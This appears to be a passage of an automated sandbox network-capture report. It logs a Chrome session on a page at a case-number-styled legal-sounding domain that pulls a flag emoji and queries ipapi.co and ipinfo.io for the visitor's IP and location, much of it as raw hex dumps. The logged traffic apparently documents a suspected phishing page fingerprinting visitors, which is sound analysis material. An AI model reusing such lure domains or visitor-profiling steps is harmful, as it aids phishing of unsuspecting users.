63 e3 bf 37 47 97 0f b3 9e 5a fd 71 ef f5 c0 61 70 58 38 77 0b f5 18 2d 62 80 0c Data Ascii: ll'YYt'uY'.o^74z.%RN5 rnccR0s?&u05YyO]vB!$]oz&T/iU%E;pCWH="ovGpda]A$/k_I:&:_qx#H'Sl \c7GZqapX8w-b
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: da 7c 10 59 1a 4c e1 5e 74 96 ec b0 01 43 ab 3e 3e 70 d2 ff fd 16 a2 ce 29 b7 e7 79 2b 71 84 a0 2b db 0f 00 9b a7 c4 9e 11 bb 80 40 4d 1b 7d 28 8c d7 27 b3 e3 35 44 3c c5 fa 1c 0b 2d 21 07 ce 86 cb 33 b2 e7 9d 07 bd a6 75 b6 52 9d 27 19 12 b9 78 8b 02 51 2b d5 c9 f2 48 ec d2 60 fc 20 be a3 64 f6 7e b9 d3 33 6f 24 43 8a a3 91 ff 61 de 78 dc a1 b8 13 9e 2b 60 3c ce 6a 56 8b ad 44 f2 af 4e d0 31 e4 b4 25 c0 22 aa 81 df fc 5d fd ef d1 cf c8 89 a3 f8 b9 74 13 69 f8 98 1b 29 0f ae 17 06 a0 9a 59 92 56 83 4d 86 00 62 45 2f 13 58 ed 96 1c fd a0 44 b4 21 b5 d2 7e 91 39 40 a1 ba 0b ef a0 12 b4 25 ec e4 95 e4 c1 ca 33 8d d4 82 6b bd 3d 9f 5b 1a 37 21 1b b0 89 2d f0 67 a7 af 71 56 50 12 d8 98 dd 21 a3 ba 26 8e 5a f1 52 a0 ed 5b e0 46 79 33 aa bd 6c 88 04 11 9d 16 5e Data Ascii: \|YL^tC>>p)y+q+@M}('5D<-!3uR'xQ+H` d~3o$Cax+`<jVDN1%"]ti)YVMbE/XD!~9@%3k=[7!-gqVP!&ZR[Fy3l^
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: 44 05 a3 7f 26 93 b0 e1 1b 25 e4 f0 07 d4 52 a7 f0 ea bb c1 c6 f0 aa 22 42 62 c7 89 41 4c b1 c5 d1 e4 0c cb bc e7 17 a2 1b 9c b5 42 06 d0 e4 c1 85 67 ef 35 b2 e9 06 ed d8 69 53 46 8b d0 49 2e 18 38 b6 e9 ef d4 1e 59 8b ba 05 12 96 35 fe 13 29 43 b6 b7 50 93 e8 7f 56 c1 67 05 a2 11 24 10 7e 65 fd 04 78 ea 98 3b d8 24 fc 41 62 24 a3 46 88 4f f4 93 c7 e9 70 08 ea 25 54 43 62 2f bc 42 fd 23 3e 51 39 29 ce 9a c8 38 3f f2 d6 06 88 60 90 6f a0 66 8f 40 8a e6 51 9c 5f 2c 91 d5 17 0d b0 d2 83 2b 29 b2 dd 26 a2 6c 80 4a f1 d7 a1 ab 70 53 2f 6d 60 ca a9 90 5f 14 59 78 90 71 b8 91 50 3e b5 20 31 38 10 ce 7c d4 79 60 8d a7 58 54 ea 7e b2 0b b7 32 6d 52 6b f2 85 cd 1f a2 26 a1 12 e6 7d a4 0a 2e de 26 1c 3c 0a ed f3 9a c8 34 a1 b6 a4 48 a6 1c 60 08 eb 61 a8 2c 51 24 62 Data Ascii: D&%R"BbALBg5iSFI.8Y5)CPVg$~ex;$Ab$FOp%TCb/B#>Q9)8?`of@Q_,+)&lJpS/m`_YxqP> 18\|y`XT~2mRk&}.&<4H`a,Q$b
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: 57 80 00 33 df df 13 96 c5 ff aa f8 e1 1a 25 33 3f 14 6f 76 5a 16 c0 d8 85 d7 43 d9 44 98 e0 fb fa 75 e6 72 d7 eb c5 32 ba 41 04 81 8d 5c e3 3d 94 68 49 5d 0f c2 0f 7e fa 9a 1a b7 97 d2 ee b1 d3 b8 ab 5d 74 29 5f b9 58 b8 c4 69 10 7a 15 82 cc ae a3 fd ad 9a 8e ca d5 68 3a 53 11 e6 45 87 36 32 ef 73 93 f2 c1 22 41 9b 28 d1 81 58 3b 42 e9 8c 85 c7 98 e1 58 bc 02 af 49 bc 95 52 a6 a5 c6 97 ec e0 db de 46 c4 df 37 f6 20 18 e1 a4 10 82 2d c9 f7 7c 35 7b ee 04 21 94 4b bb a1 a1 be 4a a1 db 98 6c 57 7a f6 9d a2 b7 00 a3 6a 24 fb bc 8b b8 af 0a 1d 89 3f cb 47 f4 52 60 45 9e 1d bb 6f 46 8d 26 34 80 48 5c a5 8d 86 0f 33 05 70 4c 1c 0d b9 11 64 fd 19 ef 03 ef ff 9c ca 7f 50 12 eb 28 fe fb 4f ae 58 70 6e 5c 5b 96 e4 a0 a9 04 15 ce 51 2c 95 f1 07 88 71 c0 fb e2 f0 f1 Data Ascii: W3%3?ovZCDur2A\=hI]~]t)_Xizh:SE62s"A(X;BXIRF7 -\|5{!KJlWzj$?GR`EoF&4H\3pLdP(OXpn\[Q,q
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: b7 d0 36 0e 25 cf ea a0 9e f8 c5 b6 2a 9c bc 7e af da ea 15 08 26 4d 8f c5 66 3b 01 5c b7 ef f1 bd 42 05 76 cc 6c 72 9f 32 2a 08 b8 71 07 dc 6e ff 07 0c cc 0d 69 70 a6 bb af dd 95 c3 8e aa aa 9f b3 9e e5 27 4d 53 f6 ce 68 8f 30 ee 54 5a d2 25 3b 21 89 78 db 81 15 7d 0e 70 26 d6 09 0f ae 5c 60 84 6a 96 91 fb e7 e1 6b 23 ec f8 34 c5 2f e9 a1 82 a5 6d fa ac 5c 15 cc 8f a2 d7 56 48 41 31 11 5f 7f d3 fd c5 8c 52 d3 1d 4a 5e 1c 92 e9 0f 3a 26 96 6a 9c ba 04 eb 02 c5 3b a9 db 81 c2 ac f5 ea 37 02 97 a0 84 b1 14 69 4f 78 2a 1c 3f f8 21 46 35 35 88 a6 51 7a 69 d7 86 e6 4b d1 61 35 07 cb d3 91 d4 e3 80 5f 7a e2 94 07 81 6d d4 fc fa d6 e6 ba 8b 64 50 b0 c5 7e cf 92 66 c8 0b 04 dc d6 4a 0b cb 53 1c e6 da 7b 9e 3f 3d af 6b 3d fe e3 99 5c ec c6 3c 92 43 97 76 d4 a0 52 Data Ascii: 6%~&Mf;\Bvlr2qnip'MSh0TZ%;!x}p&\`jk#4/m\VHA1_RJ^:&j;7iOx*?!F55QziKa5_zmdP~fJS{?=k=\<CvR
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: dc 31 c2 02 ab ff 7b e3 51 09 ee 62 35 7b 34 cb d6 01 ed ef 9f 1e 64 31 26 dc 08 fa dd 7d d9 f5 ec 2c 61 0f 7b 09 42 7e 89 2a 78 90 d3 98 32 a3 65 ac f4 64 1e c6 c8 0f 49 3d 06 4e c7 10 ff d1 36 7d 69 cc dc 9c f1 48 66 e2 0c 2f 64 29 43 b6 18 a7 2e e4 b1 91 87 14 1a fa 39 b6 13 15 9e dc 1c 83 c9 10 3f a2 92 70 f0 b0 42 9b 41 28 59 d5 1d 51 f3 10 95 3f 9d 87 da dc 47 b9 0e c0 09 e5 ba 15 b9 52 7f 25 c1 45 d0 29 88 35 55 ef bc b4 22 ca 2d ec fb b6 69 c8 05 2c 5d 42 99 2f bd c7 5a 38 df ae dc f1 01 29 58 da 59 f0 56 44 79 09 f1 78 39 77 2f a4 3d b7 bc 69 82 98 d9 ed 9c 96 ce 64 95 76 e7 67 80 2e d2 bd 19 87 33 14 a2 e3 52 cc 15 5e 25 d6 0c ba 5a 6d 33 f7 70 cc e8 80 40 a9 cc ab 07 23 07 66 4d fd ef 23 ff 04 11 4f d5 e1 fd 89 2e c0 82 84 62 b3 91 05 db 77 e4 Data Ascii: 1{Qb5{4d1&},a{B~*x2edI=N6}iHf/d)C.9?pBA(YQ?GR%E)5U"-i,]B/Z8)XYVDyx9w/=idvg.3R^%Zm3p@#fM#O.bw
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: 68 ae 2f ed 5d 60 45 67 a9 a4 cd e1 26 fe dd 9a a8 25 d8 3c 82 1b 65 d6 3a 1c aa d0 37 52 be 29 30 82 68 ab 74 09 62 5f aa e9 d5 f0 96 b5 91 66 42 9c c2 73 84 9a 1a aa 30 6d 91 61 98 e7 33 15 77 b3 63 93 f7 0f 4c 94 a5 24 dd c5 c1 96 dc 03 2a 80 e4 94 80 32 c3 c7 ee 19 e7 f8 4f 65 29 ee a9 14 8b 41 fe 5b 1f ad d2 33 6e 8d c4 a3 94 08 5b 8e ad c2 d6 c3 2a f8 9a c5 89 cb 22 5f 43 39 32 94 24 40 1e de af 90 51 10 92 aa c3 90 f5 1b 0e 57 06 85 5c e5 1a e9 6a 8b a2 1d cf ab 9d b8 24 87 dd 6a 02 61 7b c8 3c 8b 64 de 03 a3 0e f5 2d 9f 1b af 95 1e a9 b5 0b 28 fc 1f f1 61 aa 4d 1a 7c 7e 69 18 5a 22 87 01 98 ed 8f 67 ca 85 b4 a3 50 88 db c1 5f df d4 a6 11 c6 b5 63 ad 1d 08 93 fe da dc e4 6c eb 2c f6 b8 d4 43 23 60 27 7c 86 7b 9e e1 40 e4 38 00 3e e8 08 90 b7 04 53 Data Ascii: h/]`Eg&%<e:7R)0htb_fBs0ma3wcL$2Oe)A[3n["_C92$@QW\j$ja{<d-(aM\|~iZ"gP_cl,C#`'\|{@8>S
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: d5 94 10 31 f0 a2 11 14 eb a8 45 09 7b fb c8 00 49 96 40 df 1d a3 f2 02 01 9d 93 23 05 3b fa fe 88 69 b4 2c fc b8 26 c3 d8 28 9a 05 ba ab 8e dc df e4 b2 45 ec 53 8a f7 16 f1 7e 25 4c cf ac c8 bd 94 37 6e 9e 7d 29 2e 4f 3e ee 52 9f d7 45 9c 6f b8 60 74 38 f8 c4 ca fa 1f b2 e4 92 10 ac 53 9a 22 07 17 63 e4 8a cf 32 f6 e5 6e 43 07 82 af 1d c9 0b a1 90 2c 0b 78 d2 c8 6e e4 a4 0f 5e fd 01 1d ca 8e 43 29 99 7b 4d f7 e0 29 c6 d3 a4 0d a0 fa 76 d5 02 5c 52 d3 b7 22 45 13 ac 60 05 8c 21 ce f7 a3 47 8a d0 4c 63 88 f3 fa 7a 87 f3 25 88 82 aa ce 2d 6a 98 e3 ed 23 2a b2 71 6b 91 ad 22 0d f0 e2 48 84 ea bd 64 ad ca 63 44 9b 86 ef 46 2d 38 af 5c e0 69 a7 ad 52 75 e3 96 d1 23 8b 67 9a a7 1e 6f 03 99 d9 db d3 cc 7b 32 a1 43 7d f9 04 5e bc c5 05 59 85 04 8d 14 db ff 4f 2e Data Ascii: 1E{I@#;i,&(ES~%L7n}).O>REo`t8S"c2nC,xn^C){M)v\R"E`!GLcz%-j#*qk"HdcDF-8\iRu#go{2C}^YO.
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: 69 52 9d 25 81 5d f1 5c a7 0b ce 9b d6 53 5f 0e 49 2c e0 20 2e 69 4e be d4 41 e8 08 41 94 d7 51 56 75 6e 77 86 8e 60 80 28 4a b5 c0 61 12 86 f6 0f 3b e4 a8 f3 46 45 e4 b7 9b 7b 68 ad 65 7c c6 3b 81 70 86 96 b1 02 00 f0 e3 ff 44 4e e0 52 a1 df e9 23 ef a8 4a 6b fb c7 16 90 38 94 cb 3a 71 d0 3a 1e f2 30 d4 99 c1 0f e1 be 73 47 70 5f 9b 0a 73 26 27 e1 cd a8 e3 e1 7d bb 33 de 95 52 86 2e 44 9a 2d f6 79 fd 89 af 16 9b ca e4 39 64 0a c2 52 af b2 59 aa d6 28 76 00 42 99 49 de fd 47 81 ad de 90 96 d1 1c ab 81 98 db 50 81 9f 00 08 07 d6 c1 c4 f0 a7 8c 80 54 27 20 7d 16 81 36 08 9e 2f 0d 1f 6c 70 d5 e8 66 51 4c 25 bb bc c1 b5 cf d9 37 50 6d 0f 87 b3 c2 1b 78 8e c0 5b 05 a5 4b c4 71 bf 0c cf db 45 4d 3b 6c 21 9f a2 f7 9b 34 9a ff 33 ba cc 17 87 65 fb 84 03 b8 8b 39 Data Ascii: iR%]\S_I, .iNAAQVunw`(Ja;FE{he\|;pDNR#Jk8:q:0sGp_s&'}3R.D-y9dRY(vBIGPT' }6/lpfQL%7Pmx[KqEM;l!43e9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49762	104.17.24.14	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:48 UTC	693	OUT	GET /ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1f8.svg HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:48 UTC	947	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:48 GMT Content-Type: image/svg+xml; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"659a11a8-2d8" Last-Modified: Sun, 07 Jan 2024 03:51:20 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 13542 Expires: Wed, 04 Mar 2026 09:08:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T8mZCDIgLfn6Cvs%2FT7QjipXbSfoo3f2WUM%2BAdCOjhATRaOXH1pbj5aZELPIIXkUS7ojhngduFyT1fBZ%2FCTqV5CdMHlx0ljqM3fpf9sVKyXWr5XKrWGO6uL2ZSS07K6ne8SOLOymG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9202a0edce0a72a5-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 09:08:48 UTC	422	IN	Data Raw: 39 39 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 20 33 36 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 42 32 32 33 33 34 22 20 64 3d 22 4d 33 35 2e 34 34 35 20 37 43 33 34 2e 37 35 32 20 35 2e 38 30 39 20 33 33 2e 34 37 37 20 35 20 33 32 20 35 48 31 38 76 32 68 31 37 2e 34 34 35 7a 4d 30 20 32 35 68 33 36 76 32 48 30 7a 6d 31 38 2d 38 68 31 38 76 32 48 31 38 7a 6d 30 2d 34 68 31 38 76 32 48 31 38 7a 4d 30 20 32 31 68 33 36 76 32 48 30 7a 6d 34 20 31 30 68 32 38 63 31 2e 34 37 37 20 30 20 32 2e 37 35 32 2d 2e 38 30 39 20 33 2e 34 34 35 2d 32 48 2e 35 35 35 63 2e 36 39 33 20 31 2e 31 39 31 20 31 2e 39 36 38 20 32 20 33 2e 34 34 Data Ascii: 99e<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#B22334" d="M35.445 7C34.752 5.809 33.477 5 32 5H18v2h17.445zM0 25h36v2H0zm18-8h18v2H18zm0-4h18v2H18zM0 21h36v2H0zm4 10h28c1.477 0 2.752-.809 3.445-2H.555c.693 1.191 1.968 2 3.44
2025-03-14 09:08:48 UTC	1369	IN	Data Raw: 34 38 33 2e 33 33 32 2d 2e 37 34 31 2e 30 33 34 2d 2e 30 39 39 2e 30 36 37 2d 2e 31 39 38 2e 30 39 33 2d 2e 33 30 31 2e 30 32 33 2d 2e 30 39 2e 30 34 32 2d 2e 31 38 32 2e 30 35 39 2d 2e 32 37 35 2e 30 34 31 2d 2e 32 32 2e 30 36 39 2d 2e 34 34 36 2e 30 36 39 2d 2e 36 37 39 48 30 63 30 20 2e 32 33 33 2e 30 32 38 2e 34 35 38 2e 30 36 38 2e 36 37 39 7a 4d 30 20 32 33 68 33 36 76 32 48 30 7a 6d 30 2d 34 76 32 68 33 36 76 2d 32 48 31 38 7a 6d 31 38 2d 34 68 31 38 76 32 48 31 38 7a 6d 30 2d 34 68 31 38 76 32 48 31 38 7a 4d 30 20 39 63 30 2d 2e 32 33 33 2e 30 33 2d 2e 34 35 37 2e 30 36 38 2d 2e 36 37 39 43 2e 30 32 38 20 38 2e 35 34 32 20 30 20 38 2e 37 36 37 20 30 20 39 7a 6d 2e 35 35 35 2d 32 6c 2d 2e 30 30 33 2e 30 30 35 4c 2e 35 35 35 20 37 7a 4d 2e 31 32 38 Data Ascii: 483.332-.741.034-.099.067-.198.093-.301.023-.09.042-.182.059-.275.041-.22.069-.446.069-.679H0c0 .233.028.458.068.679zM0 23h36v2H0zm0-4v2h36v-2H18zm18-4h18v2H18zm0-4h18v2H18zM0 9c0-.233.03-.457.068-.679C.028 8.542 0 8.767 0 9zm.555-2l-.003.005L.555 7zM.128
2025-03-14 09:08:48 UTC	678	IN	Data Raw: 2e 36 31 38 2e 34 34 39 2d 2e 32 33 36 2e 37 32 35 2e 36 31 37 2d 2e 34 34 38 2e 36 31 38 2e 34 34 38 2d 2e 32 33 36 2d 2e 37 32 35 2e 36 31 38 2d 2e 34 34 39 68 2d 2e 37 36 34 4c 33 20 31 31 6c 2d 2e 32 33 35 2e 37 32 36 7a 4d 36 2e 33 38 33 20 31 32 2e 39 4c 37 20 31 32 2e 34 35 32 6c 2e 36 31 38 2e 34 34 38 2d 2e 32 33 36 2d 2e 37 32 35 2e 36 31 38 2d 2e 34 34 39 68 2d 2e 37 36 34 4c 37 20 31 31 6c 2d 2e 32 33 35 2e 37 32 36 68 2d 2e 37 36 34 6c 2e 36 31 38 2e 34 34 39 7a 6d 33 2e 36 31 38 2d 31 2e 31 37 34 6c 2e 36 31 38 2e 34 34 39 2d 2e 32 33 36 2e 37 32 35 2e 36 31 37 2d 2e 34 34 38 2e 36 31 38 2e 34 34 38 2d 2e 32 33 36 2d 2e 37 32 35 2e 36 31 38 2d 2e 34 34 39 68 2d 2e 37 36 34 4c 31 31 20 31 31 6c 2d 2e 32 33 35 2e 37 32 36 7a 6d 34 20 30 6c 2e Data Ascii: .618.449-.236.725.617-.448.618.448-.236-.725.618-.449h-.764L3 11l-.235.726zM6.383 12.9L7 12.452l.618.448-.236-.725.618-.449h-.764L7 11l-.235.726h-.764l.618.449zm3.618-1.174l.618.449-.236.725.617-.448.618.448-.236-.725.618-.449h-.764L11 11l-.235.726zm4 0l.
2025-03-14 09:08:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49763	172.67.69.226	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:48 UTC	635	OUT	GET /ip HTTP/1.1 Host: ipapi.co Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/json sec-ch-ua-mobile: ?0 Origin: https://case-id-1000228259003.counselschambers.co.uk Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:49 UTC	1005	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:49 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 12 Connection: close Allow: GET, POST, OPTIONS, OPTIONS, HEAD X-Frame-Options: DENY Vary: Host, origin access-control-allow-origin: https://case-id-1000228259003.counselschambers.co.uk X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qx7StvUjIUq7Qko95bVBxHAg8NGHBZXu3CyRQ5qBQSSq3FowY5N72nLwLsauQ79dTo1tGJQjCBBOdCmY8HMaKM6te6NYufMIPWZCKRTKoZYOcI2YizoRA%2Fu%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0edbc474396-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3396&min_rtt=1572&rtt_var=4238&sent=3&recv=6&lost=0&retrans=0&sent_bytes=139&recv_bytes=1169&delivery_rate=90296&cwnd=217&unsent_bytes=0&cid=2448a7917f3f4d11&ts=228&x=0"
2025-03-14 09:08:49 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49764	34.117.59.81	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:48 UTC	651	OUT	GET //json? HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: https://case-id-1000228259003.counselschambers.co.uk Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:48 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 321 content-type: application/json; charset=utf-8 date: Fri, 14 Mar 2025 09:08:48 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-14 09:08:48 UTC	321	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a Data Ascii: { "ip": "8.46.123.189", "hostname": "static-cpe-8-46-123-189.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49766	34.117.59.81	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:49 UTC	379	OUT	GET //json? HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:50 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 321 content-type: application/json; charset=utf-8 date: Fri, 14 Mar 2025 09:08:49 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-14 09:08:50 UTC	321	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a Data Ascii: { "ip": "8.46.123.189", "hostname": "static-cpe-8-46-123-189.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49767	104.17.25.14	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:49 UTC	428	OUT	GET /ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1f8.svg HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:50 UTC	938	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:49 GMT Content-Type: image/svg+xml; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"659a11a8-2d8" Last-Modified: Sun, 07 Jan 2024 03:51:20 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Wed, 04 Mar 2026 09:08:49 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U8wNal081jGkfHa%2FJhO7C2m4xgxPsvQXU2HSLWtvMvByqNXmpVU509q%2FGIZoAm995mZv2GoPEdt6zL88Qsoi%2BCJuk0EdZWuVEeD9QDaFcgsKRZjRgiPVOP2pyNDdNqi1w%2Fev6hI0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9202a0f1dbf5e8a6-EWR alt-svc: h3=":443"; ma=86400
